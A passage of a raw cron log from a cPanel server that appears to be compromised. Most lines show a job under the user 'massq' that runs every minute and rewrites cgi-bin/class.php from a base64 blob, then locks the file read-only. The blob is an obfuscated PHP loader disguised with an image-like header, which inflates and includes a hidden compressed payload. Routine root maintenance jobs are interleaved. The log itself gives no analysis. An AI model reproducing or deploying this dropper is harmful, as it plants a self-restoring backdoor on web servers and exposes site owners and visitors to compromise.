9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:06:01 server CROND[6193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:07:01 server CROND[6328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:08:01 server CROND[6382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:09:01 server CROND[6438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:09:01 server CROND[6439]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 20:10:01 server CROND[6512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:10:01 server CROND[6513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:10:01 server CROND[6514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:10:01 server CROND[6515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:11:01 server CROND[6626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:12:01 server CROND[6669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 20:12:01 server CROND[6670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:13:01 server CROND[6815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:14:01 server CROND[6901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:15:01 server CROND[6954]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:15:01 server CROND[6955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:15:01 server CROND[6956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:15:01 server CROND[6957]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 20:16:01 server CROND[7067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:17:01 server CROND[7118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:18:01 server CROND[7161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:19:01 server CROND[7315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 